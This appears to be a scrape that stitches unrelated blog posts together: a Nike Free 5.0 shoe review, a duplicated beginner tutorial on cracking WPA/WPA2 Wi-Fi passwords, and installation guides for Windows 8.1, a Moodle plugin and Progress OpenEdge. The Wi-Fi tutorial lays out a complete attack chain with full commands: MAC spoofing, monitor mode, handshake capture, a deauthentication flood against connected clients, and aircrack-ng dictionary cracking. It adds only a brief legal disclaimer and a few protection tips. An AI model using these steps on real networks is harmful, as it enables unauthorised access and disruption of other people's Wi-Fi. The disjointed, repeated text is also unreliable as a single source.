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3/2/15
The Nike Free 5.0 is the successor for the Free Run 3. This was my first time running in the Free/Free Run, and so I was excited by the opportunity to review the Free 5.0.
And while this shoe is often marketed as “minimalist,” I felt it could easily serve as a daily trainer for the biomechanically efficient runner.
Nike Free 5.0 First Impressions
My pair of Free 5.0 comes in bright blue and florescent yellow, making a striking impression out of the box. My immediate impression is that the shoe retains the lower of the Free Run 3 while introducing updates in the upper. The most obvious upper update is the introduction of Dynamic Flywire in the midfoot lacing system.
As expected, the Free 5.0 is very unstructured and flexible. I can roll the shoe up into a ball, and twist it almost completely around. Of course, no one’s foot bends that much, but it does mean the shoe will not provide any structure for a flexible foot. The heel counter is also very flexible and unstructured, relying on an overlay that looks like the strap of a Huarache sandal to hold the heel down.
The one drawback to the shoe is that it is not true to size. Comparing it with other shoes of the same size, the Free 5.0 looks like it runs at least a full size, and maybe even a full size and a half, shorter.
Nike Free 5.0 - TopTo give an idea of how much shorter it is, I took a photo of the Free 5.0 side-by-side with the Pegasus 30–both are size 10. Because it is so short, I could not run more than four or so miles in the Free 5.0 during any one run, even though I felt I could easily do more if it were properly sized.
I thought maybe Nike intentionally made the Free 5.0 shorter to allow someone to run in them without socks. So, I did one run sockless, but because the upper is not seamless enough, I ended up with blisters. For me, the sizing of the Free 5.0 is simply bewildering.
If you are considering the Free 5.0, I strongly recommend trying them on, to find your proper size.
Nike Free 5.0 Sole Unit
Since the Free 5.0 is marketed as a “minimalist” shoe, I fully expected to only do shorter runs in them. But I was surprised by how much cushion the Free 5.0 packs. It felt much more cushioned than either the Karhu Flow Trainer or the Skechers GoRun.
If I had to compare the cushion to any of the shoes I’ve run in, I would choose the Mizuno Precision before I would choose either of the minimalist shoes I’ve tried.
In fact, if it weren’t for the minimalist marketing that comes with it, the Free 5.0 could easily pass as a flexible lightweight trainer. If the pair I received were not too small, I definitely would have gone on longer runs in the Free 5.0.
There is of course an upside as well as a downside to this amount of cushion. The upside is the Free 5.0 will appeal to a wider audience of runners. Runners looking to move to a more minimalist shoe can use the Free 5.0 as a transition shoe. This may be especially appealing for runners who don’t want a midsole feature designed to promote a midfoot strike, like the ones found in both Karhu and Sketchers.
Biomechanically efficient runners who are looking for a flexible trainer with a lower heel-to-toe differential (it is 9mm on the Free 5.0), but not the minimalist experience per se, can turn to the Free 5.0.
The downside is runners looking for that barefoot experience will find the Free 5.0 too cushioned for their purposes. Nike puts their Phylon EVA foam in the midsole, which gives the Free 5.0 a much firmer feel than Nike’s other shoes with Cushlon in the midsole, like the Pegasus or Vomero, but that firmness may not be enough to give minimalist runners the ground feedback they seek.
Nike Free 5.0 Upper
The Free 5.0 has a newly designed upper, which resulted in a slight weight savings (size 9 is listed at 8.2 oz). But more important than a marginal weight savings is the great overall fit found in the Free 5.0. The Dynamic Flywire in the midfoot created a secure fit without being too restrictive.
The one element of the upper I had concerns about was the Huarache style heel counter. But once the shoe was on, my heel felt secure, and I never experienced heel-slippage while running. As great as the upper is in terms of security of fit, it is not seamless enough to be worn without socks.
Nike Free 5.0 Opinion
The Free 5.0 beat my expectations in many ways. I definitely was not expecting it to be as well cushioned as it is. For the right runner, this is a shoe that could be worn everyday. I also appreciate that Nike promotes a midfoot strike with a lowered heel and flexibility instead of using a gimmick.
My one complaint is that the Free 5.0 does not come true to size. If I had a properly sized pair, I easily would have run more in the Free 5.0.
3/4/14
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2/4/14
Hacking WPA / WPA2 Encrypted Networks
Part II of my Network Security How-To Series:
1) ARP Spoofing from a Mobile Device
2) Hacking WPA / WPA2 Encrypted Networks (This Tutorial)
3) Defeating SSL / Encrypted Hijacking
- Backtrack 5 VMware Virtual Machine. (Download Here)
- Compatible Network Adapter.
It is important to note that hacking WEP is simple and is widely recognized as an inefficient encryption technique, thus why I have not covered it in this tutorial. Although WEP still exists in many places, most wireless networks these days have been configured with WPA/WPA2-PSK which are vulnerable to brute force attacks. I will explain that the success of hacking WPA/WPA2-PSK is only as good as the word list you are comparing against.
For the purpose of keeping this blog short, I am not going to provide instructions on how to download and install the VMware software. But the link and information to install VMware Player can be found below:
http://www.vmware.com/products/player/
After VMware is installed, you are going to want to download the Backtrack 5 R3 (32bit) virtual machine from the following link. Backtrack 5 is a Linux distribution that is used for many different types of penetration testing/network security and much more. The download is archived using 7-zip so you will have to extract the contents before using.
http://www.backtrack-linux.org/ajax/download_redirect.php?id=BT5R3-GNOME-VM-32.7z
With the software installed, make sure you are able to power up the virtual machine successfully. I have both Backtrack 5 R3 and the VMware View software running off my USB drive so I can operate it from any computer at any time. I have not seen any reduction really in performance because I am not really writing to the drive while its up and running.
This of course is only needed in the case that your internal wireless
adapter is not compatible. However, most USB wireless adapters will
work with this process. I simply plug it into my USB port and make sure
it is recognized in the virtual machine.
To view a list of the recognized interfaces, open up the console and type in the following command and press enter.
ifconfig – command to view interfaces
We need to shut down the interface before we spoof the MAC address
because the interface cannot be in operation during this time.Type the
below command and press enter
wlan0 – network interface
down – shut down interface
Now we can spoof the MAC address of the network adapter, in this case
we are just going to set a static “phony” MAC address of
00:11:22:33:44:55. Type the below command and press enter.
macchanger – command to spoof MAC Address
-m 00:11:22:33:44:55 – specifying the MAC Address to spoof
Then after, we need to turn on the interface after the spoofed MAC address succeeded. Type the below command after MAC address spoof is finished and press enter
up – turn interface on
airmon-ng – command for monitor mode
start wlan0 – starting monitor mode on wlan0 interface
iwconfig – command to view interface configuration
mon0 – interface used in monitor mode
At this point, all the preparation is complete and we are now ready
to move on to the fun stuff. The next stage will be choosing what
network to perform the attack on.
Legal note: Hacking into networks is illegal, make sure you have been granted permission to test, or perform this on your own equipment. I cannot be liable for any misuse!
airodump-ng – command to view networks in range
As described above, you will be presented with an active list of all
networks within range. The network that I have selected is my own. You
see it labeled as “HackThisWiFi”. Here is the information that we will
need for the next set of commands.
ESSID: HackThisWiFi
BSSID: 00:23:69:98:AC:05
Channel: 4
Encryption: WPA
Authentication: PSK
Not only will we be viewing connected clients, but we will be capturing data specific to the HackThisWiFi access point and storing it to a capture file called “hackwpa”, type the following command and press enter.
00:23:69:98:AC:05 – Access Point MAC Address
-c 4 – Channel 4
-w hackwpa – write to file “hackwpa”
mon0 - network interface
The following command will deauthenticate clients to hopefully force them to reauthenticate.
-0 30 – Send 30 DeAuth requests
-a 00:23:69:98:AC:05 – Access Point MAC Address
mon0 – Network Interface
Now that the clients have been deauthenticated from the AP, and the
handshake has been captured sucessfully, we can start to process of
cracking the PSK. (And you thought you were safe! ^-^)
To accomplish this, you must have some type of wordlist to compare against the captured PSK. It essentially will check down the wordlist one by one until it reaches the correct key. This can be a very time consuming process and it takes quite a bit of processing power to execute. The faster your computer, the faster the key can be cracked. See the fun facts at the bottom of this post to get an understanding of password recovery speeds. There is also small dictionary that comes with aircrack-ng – “password.lst”. The file is found in the “test” directory of the aircrack-ng source code. Just send me an email and I can either send you my wordlist or show you how to create your own using crunch (default with Backtrack 5 R3).
Use the below command to start the cracking.
aircrack-ng – command for the password cracker
-w wordlist.lst – specifying the wordlist to use (wordlist.lst)
-b 00:23:69:98:AC:05 – specifying the bssid of the AP
hackwpa*.cap – specifying the capture file
Let the password cracker work with as much processing resources as
possible, it could take a long time depending on the complexity of the
WiFi password used. In my case, I placed the PSK near the top of the
text file so I did not have to wait very long for the cracker to parse
the wordlist one by one. This would not be possible if I was not aware
of the PSK prior, and I would have to wait until every string in the
wordlist is compared.
Numerals [0-9]
0123456789
10 Character Password: 2 ¾ Hours
Only Upper Case Alpha [A-Z] -or- Only Lower Case Alpha [a-z]
ABCDEFGHIJKLMNOPQRSTUVWXYZ -or- abcdefghijklmnopqrstuvwxyz
8 Character Password: 5 ¾ Hours
Only Upper Case Alpha [A-Z] -or- Only Lower Case Alpha [a-z]
+ Numerals [0-9]
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ -or- 0123456789abcdefghijklmnopqrstuvwxyz
5 Character Password: Instant
Upper Case Alpha [A-Z] + Lower Case Alpha [a-z]
AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz
8 Character Password: 62 Days
Upper Case Alpha [A-Z] + Lower Case Alpha [a-z] + Numerals [0-9]
0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz
8 Character Password: 253 Days
Upper Case Alpha [A-Z] + Lower Case Alpha [a-z] + Special Char
AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz!”#$%&’()*+,-./:;?@[\]^_`{|}~
8 Character Password: 23 Years
As always, thanks for reading and please make sure to drop a comment below with your thoughts.
1) ARP Spoofing from a Mobile Device
2) Hacking WPA / WPA2 Encrypted Networks (This Tutorial)
3) Defeating SSL / Encrypted Hijacking
Target of Attack:
- WPA/WPA2-PSK Wireless NetworksTools Required:
- Any Computer with VMware software installed. (Download Here)- Backtrack 5 VMware Virtual Machine. (Download Here)
- Compatible Network Adapter.
Common Terms Defined:
- MAC Address
- (Media Access Control Address) is a unique identifier assigned to network interfaces for communications on the physical network segment.
- WAP
- (Wireless Access Point) is a device that allows wireless devices to connect to a wired network using Wi-Fi
- BSSID
- (Basic Service Set Identification) is the MAC address of the WAP
- ESSID
- (Extended Service Set Identification) is the display name of the wireless network
- WPA/WPA2
- (Wi-Fi Protected Access / Wi-Fi Protected Access II) are two security protocols and security certification programs developed by the Wi-Fi Alliance to secure wireless computer networks.
- PSK
- (Pre-Shared Key) is the term for the password defined in WPA/WPA2 encrypted networks.
Before we Begin:
The methods and tools used in this WPA / WPA2 hacking tutorial can be utilized without any previous knowledge, however it is best for the attacker to have an understanding of what is going on behind the scenes. My job with this tutorial is to break down each step of the attack process and explain it in a simplified manner. Assuming that the reader of this guide has no previous knowledge with hacking, Linux, or Network Security, I will take it slow (one step at a time). I know this stuff can be intimidating for beginners, but just follow the steps and you will start to understand the fundamentals of what is going on to be better protected against future malicious users.It is important to note that hacking WEP is simple and is widely recognized as an inefficient encryption technique, thus why I have not covered it in this tutorial. Although WEP still exists in many places, most wireless networks these days have been configured with WPA/WPA2-PSK which are vulnerable to brute force attacks. I will explain that the success of hacking WPA/WPA2-PSK is only as good as the word list you are comparing against.
Step 1: Set up the VMware Software
Download and Install Required Software (FREE)For the purpose of keeping this blog short, I am not going to provide instructions on how to download and install the VMware software. But the link and information to install VMware Player can be found below:
http://www.vmware.com/products/player/
After VMware is installed, you are going to want to download the Backtrack 5 R3 (32bit) virtual machine from the following link. Backtrack 5 is a Linux distribution that is used for many different types of penetration testing/network security and much more. The download is archived using 7-zip so you will have to extract the contents before using.
http://www.backtrack-linux.org/ajax/download_redirect.php?id=BT5R3-GNOME-VM-32.7z
With the software installed, make sure you are able to power up the virtual machine successfully. I have both Backtrack 5 R3 and the VMware View software running off my USB drive so I can operate it from any computer at any time. I have not seen any reduction really in performance because I am not really writing to the drive while its up and running.
USB Device with Backtrack + VMware Player
Step 2: Preparation for the Attack!
If you are not familiar with command prompt or terminal then some of this may look a little foreign but I am going to break it down as best I can, and if you follow my instructions and type exactly as shown, there should not be any issue and you should be on your way to becoming a network penetration tester in no time!Part I: View Network Interface Information
Since my internal wireless adapter does not support monitor mode, I have purchased an Alfa AWUS036H Long-Range 802.11N USB Network Adapter (~$38).
Alfa AWUS036H Wireless USB Adapter
To view a list of the recognized interfaces, open up the console and type in the following command and press enter.
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| ifconfig |
ifconfig command
1
| ifconfig wlan0 down |
down – shut down interface
ifconfig down command
1
| macchanger -m 00:11:22:33:44:55 |
-m 00:11:22:33:44:55 – specifying the MAC Address to spoof
Then after, we need to turn on the interface after the spoofed MAC address succeeded. Type the below command after MAC address spoof is finished and press enter
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| iwconfig wlan0 up |
macchanger command
Part II: Enable “Monitor Mode” on your Network Adapter
Monitor mode will allow your network adapter to view all network traffic within range, along with identifying information for each network found. This command will activate monitor mode on mon0. You will be presented with a message stating that “Monitor mode enabled on mon0″
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| airmon-ng start wlan0 |
start wlan0 – starting monitor mode on wlan0 interface
monitor mode command
Part III: Verify “Monitor Mode” is enabled
Verify mon0 on the list of interfaces. To see the configuration of the monitor mode interface, type the following command and press enter. You should then see mon0 listed in the command results
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| iwconfig mon0 |
mon0 – interface used in monitor mode
Verify Monitor Mode
Legal note: Hacking into networks is illegal, make sure you have been granted permission to test, or perform this on your own equipment. I cannot be liable for any misuse!
Step 3: Begin the Attack!
Now that the network interface is configured properly to monitor network traffic within range, we can proceed to selecting a target and performing the actual brute force attack.Part I: Choose your victim!
Lets take a look at some of the network traffic within range of the wireless adapter. With the console still open, type in the following command and hit enter.
1
| airodump-ng mon0 |
List of Victims
ESSID: HackThisWiFi
BSSID: 00:23:69:98:AC:05
Channel: 4
Encryption: WPA
Authentication: PSK
Part II: View all clients connected to Access Point
Now that we know which network to attack, we have to monitor that specific network and reveal any clients that may or may not be connected at that given time. In order for WPA / WPA2 hacking to work, it must capture the 4-way handshake that is accomplished when the client authenticates to the access point (AP).Not only will we be viewing connected clients, but we will be capturing data specific to the HackThisWiFi access point and storing it to a capture file called “hackwpa”, type the following command and press enter.
1
| airodump-ng --bssid 00:23:69:98:AC:05 -c 4 -w hackwpa mon0 |
-c 4 – Channel 4
-w hackwpa – write to file “hackwpa”
mon0 - network interface
View Clients of Access Point
Part III: DoS the Access Point
Denial of Service (DoS) is a good way to accelerate the process of capturing the 4-way handshake because it sends a message to the client saying that that it is no longer associated with the Access Point. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.The following command will deauthenticate clients to hopefully force them to reauthenticate.
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| aireplay-ng -0 30 -a 00:23:69:98:AC:05 mon0 |
-a 00:23:69:98:AC:05 – Access Point MAC Address
mon0 – Network Interface
Deauthenticate AP clients
Step 4: Time for PWNAGE!
Time to Crack the WPA / WPA2 Encryption using AircrackTo accomplish this, you must have some type of wordlist to compare against the captured PSK. It essentially will check down the wordlist one by one until it reaches the correct key. This can be a very time consuming process and it takes quite a bit of processing power to execute. The faster your computer, the faster the key can be cracked. See the fun facts at the bottom of this post to get an understanding of password recovery speeds. There is also small dictionary that comes with aircrack-ng – “password.lst”. The file is found in the “test” directory of the aircrack-ng source code. Just send me an email and I can either send you my wordlist or show you how to create your own using crunch (default with Backtrack 5 R3).
Use the below command to start the cracking.
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| aircrack-ng -w wordlist.lst -b 00:23:69:98:AC:05 hackwpa*.cap |
-w wordlist.lst – specifying the wordlist to use (wordlist.lst)
-b 00:23:69:98:AC:05 – specifying the bssid of the AP
hackwpa*.cap – specifying the capture file
Aircrack command to crack PSK
WPA / WPA2 Hack Complete
Protection Against Brute Force WPA / WPA2 Attacks
There are many ways to help protect and defend against brute-force attacks, here are a few tips to keep your WiFi a little safer from malicious intruders- Setup MAC Address Filtering on Router
- Use a Complex Passphrase:
- Change the Password Frequently:
- Turn off your router when you are not home:
Fun Facts:
Some interesting statistics regarding password recovery speeds. This speeds listed here are estimates of the maximum time it would take a common dual-core workstation to brute force various types of passwords. Keep in mind that a lot of people these days have quad-cores or clusters of computers that make the password recovery speeds drastically more efficient.Numerals [0-9]
0123456789
10 Character Password: 2 ¾ Hours
Only Upper Case Alpha [A-Z] -or- Only Lower Case Alpha [a-z]
ABCDEFGHIJKLMNOPQRSTUVWXYZ -or- abcdefghijklmnopqrstuvwxyz
8 Character Password: 5 ¾ Hours
Only Upper Case Alpha [A-Z] -or- Only Lower Case Alpha [a-z]
+ Numerals [0-9]
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ -or- 0123456789abcdefghijklmnopqrstuvwxyz
5 Character Password: Instant
Upper Case Alpha [A-Z] + Lower Case Alpha [a-z]
AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz
8 Character Password: 62 Days
Upper Case Alpha [A-Z] + Lower Case Alpha [a-z] + Numerals [0-9]
0123456789AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz
8 Character Password: 253 Days
Upper Case Alpha [A-Z] + Lower Case Alpha [a-z] + Special Char
AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz!”#$%&’()*+,-./:;?@[\]^_`{|}~
8 Character Password: 23 Years
As always, thanks for reading and please make sure to drop a comment below with your thoughts.
How to upgrade Windows 8 to Windows 8.1
Here's how to update Windows 8 to the new Windows 8.1 via the Windows Store
Image Gallery (12 images)
Image Gallery (12 images)
Prepare your Windows 8 system
Before jumping in to the upgrade there's a few things you'll need to do before installing. First, make sure you have all of the latest updates for your system via Windows Update. Even if you have your system set up to receive automatic updates, it's best to run it manually to ensure you have all of the latest ones.
Download and Install Windows 8.1
Now it's time to update and get your new version of Windows. Hit the Windows Key to get to the Start screen and select the Store tile.
If you have the option of a wired Ethernet connection rather than Wi-Fi, I'd recommend using it to provide a much more reliable connection for faster download speeds and to reduce the risk of getting disconnected during the install. Also ensure you're connected to mains power to avoid potential power problems.
Wrapping Up
After installing the 8.1 update, I recommend running Windows Update right away. There's already updates for the final version, one of which is the General Availability Rollup.
Finally, after you have Windows 8.1 set up and ready to use, check out our article: Coming to grips with Windows 8.1: Tips and Tricks which will help introduce some of the new features of the OS.
How to install a plugin in Moodle 2.3
When developing Courses in Moodle, there are ways to add
functionality to Courses that the default plugins do not offer. Custom
plugins allow the Moodle site to be customized according to the needs of
the teacher. For example, The teacher can add a progress bar in the
navigation that gives a visual graph of the students progress in the
Course. There are many plugins like this that are available at the Moodle Plugins Directory.
In this article, a Progress Bar will be installed in the blocks plugin location. To complete this tutorial, Download the zip file from the following link. The file in this tutorial is named block_progress_moodle23_2012080600.zip.
In this article, a Progress Bar will be installed in the blocks plugin location. To complete this tutorial, Download the zip file from the following link. The file in this tutorial is named block_progress_moodle23_2012080600.zip.
Installing a Moodle Plugin
- Log into cPanel or use an FTP client to upload the folder to the server. If the file is archived, it will need to be extracted; otherwise, upload the folder that was extracted from the zip file directly to the following directory:
/blocks
- Log into the Moodle Dashboard
Navigate to Settings > Site administration > Notifications. The Plugins Check page should display. Here is where the plugin is activated. Plugins waiting to be installed will show green "To be installed" in the status column.
Click Upgrade Moodle database now.
When the Block progress shows Success, Click Continue.
Install the Block on the Course. Once the Block is added and configured it should look like the snapshot to the right.
This concludes the article on installing a plugin for Moodle 2.3.
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How to install Progress OpenEdge ODBC drivers
Introduction
When using the WebClient, Progress OpenEdge ODBC drivers are not installed on the client pc. The Excel Add-In uses Progress OpenEdge ODBC drivers to connect to the Exact Financials database. Therefore, ff the client wants to use the Excel Add-In, Progress OpenEdge ODBC drivers must be additionally installed.Option 1 - install SQL Client Access on clients
This option will install the ODBC drivers locally on the client using a separate installer that contains ODBC driver functionality only.- log in to the Progress Software Download Center using your credentials
- from the product list select 'Progress Deployment Components'
- from the Progress Deployment Components select 'SQL Client Access'
- from the 'Previous Releases' tab select '10.1C SQL Client Access'
- note the serial number and control number for platform 'Win32' and download the file for 'Win32 Intel' - the install file is 72mb
- run '101c_sqlclientaccess_nt.exe' to install
Option 2 - perform netsetup on clients
This option will install the ODBC drivers from a shared network installation.- the folder containing the Progress OpenEdge installation on the server should be shared
- from the client select the shared folder, select the netsetup folder and run setup.exe
Progress OpenEdge Database 10.1b install on Centos (RHEL)
What follows is a braindump of every thing I stumled into while getting
Progress OpenEdge Database 10.1b up and running on Centos (Red Hat
Enterprise Linux). Where Centos is a VMWare virtual machine (guest) with Windows XP as the host operating system.
See complete logging below which contains the following three steps:
1. Run
2. Install compat-libstdc++-296 using
3. Run
Install Centos
I had trouble installing Centos in a VMWare guest (Windows XP being the host operating system). Solution was to download a ‘CentOS 5.0, server install’ from thoughtpolice to get Centos up and running as a VMWare virtual machine. Read about this here.Download and install Java (JDK)
see /nix/download-and-install-of-java-jdk.html for instructions as to the installation of JDK on Centos.Run the installer.
The installation process is pretty straight forward. I choose to install in /pro/product/101b (like Oracle’s Optimal Flexible Architecture (OFA) Convention)[root@localhost remivisser]# tar -xvf oe101b_linux.tar
./101dbuti
./3party/
./3party/sonicesb/
./3party/sonicesb/esb_docportal.htm
./3party/sonicesb/esb_readme.htm
./3party/sonicesb/setup.bat
./3party/sonicesb/setup.ini
./3party/sonicesb/setup.jar
.
.
.
[root@localhost tmp]# /home/remivisser/proinst
+-------------------------------------------------------------------+
| Welcome |
+-------------------------------------------------------------------+
| |
| WELCOME TO THE OPENEDGE INSTALLATION UTILITY |
| |
| Ensure that you have your completed "Preinstallation Checklist |
| for Unix" handy to consult. This information will facilitate your |
| installation and ensure your choices are accurately recorded. |
| |
| Copyright (c) 1984-2006 Progress Software Corp. |
| All Rights Reserved. |
| |
| [Enter=OK] |
+-------------------------------------------------------------------+
Test the executables
After the install I want to test the executables, the ‘prostrct‘ command goes fine (complaining about too few arguments which is in fact right but then came the ‘pro‘ command …
prostrct runs fine
[root@localhost remivisser]# prostrct
Too few arguments. (1370)
[root@localhost remivisser]#
pro command results in an error …
[root@localhost bin]# pro
[strong]/pro/product/101b/bin/_progres: error while loading shared libraries: libstdc++-libc6.2-2.so.3: cannot open
shared object file: No such file or directory[/strong]
[root@localhost bin]#
Next section contains the solution, to get ‘pro’ executable working fine.
libstdc++-libc6.2-2.so.3, Se Habla Español, Linux Para Todos, Gracias!
It took me quit a few hours to figure this one out, until google returned only ONE entry, in Spanish … Thanks to the directions on this forum thread I managed to get ‘pro’ working.See complete logging below which contains the following three steps:
- Run
procommand with missing libstdc++-libc6.2-2.so.3 shared object error - Install compat-libstdc++-296 using
yum - Run
procommand succesfull without any errors!
1. Run pro command with missing libstdc++-libc6.2-2.so.3 shared object error
[root@localhost tmp]# pro
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Progress Software Corporation
14 Oak Park
Bedford, Massachusetts 01730
781-280-4000
PROGRESS is a registered trademark of Progress Software Corporation
Copyright 1984-2006
by Progress Software Corporation
All Rights Reserved
OpenEdge Release 10.1B as of Wed Jan 10 12:21:31 EST 2007
[strong]/pro/product/101b/bin/_progres: error while loading shared libraries: libstdc++-libc6.2-2.so.3: cannot open shared
object file: No such file or directory[/strong]
2. Install compat-libstdc++-296 using yum
[root@localhost tmp]# yum -y install compat-libstdc++-296
Loading "installonlyn" plugin
Setting up Install Process
Setting up repositories
Reading repository metadata in from local files
Parsing package install arguments
Resolving Dependencies
--> Populating transaction set with selected packages. Please wait.
---> Package compat-libstdc++-296.i386 0:2.96-138 set to be updated
--> Running transaction check
Dependencies Resolved
=============================================================================
Package Arch Version Repository Size
=============================================================================
Installing:
compat-libstdc++-296 i386 2.96-138 base 90 k
Transaction Summary
=============================================================================
Install 1 Package(s)
Update 0 Package(s)
Remove 0 Package(s)
Total download size: 90 k
Downloading Packages:
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing: compat-libstdc++-296 ######################### [1/1]
Installed: compat-libstdc++-296.i386 0:2.96-138
Complete!
3. Run pro command succesfull without any errors!
[root@localhost tmp]# pro
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Progress Software Corporation
14 Oak Park
Bedford, Massachusetts 01730
781-280-4000
PROGRESS is a registered trademark of Progress Software Corporation
Copyright 1984-2006
by Progress Software Corporation
All Rights Reserved
OpenEdge Release 10.1B as of Wed Jan 10 12:21:31 EST 2007
** This version of PROGRESS requires a start up procedure. (495)
Press space bar to continue.
[root@localhost tmp]#
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